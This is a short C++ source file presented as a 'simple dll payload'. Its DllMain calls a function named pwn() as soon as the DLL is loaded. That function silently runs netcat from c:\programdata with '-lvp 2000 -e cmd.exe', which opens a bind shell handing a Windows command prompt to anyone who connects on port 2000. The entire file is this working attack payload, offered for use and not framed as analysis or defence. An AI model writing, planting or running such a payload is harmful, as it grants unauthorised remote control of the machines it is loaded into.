Simple dll payload that starts a nc listener

simple_dll.cpp

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>


int pwn()
{
	WinExec("c:\\programdata\\nc64.exe -lvp 2000 -e cmd.exe", 0);
	return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		pwn();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}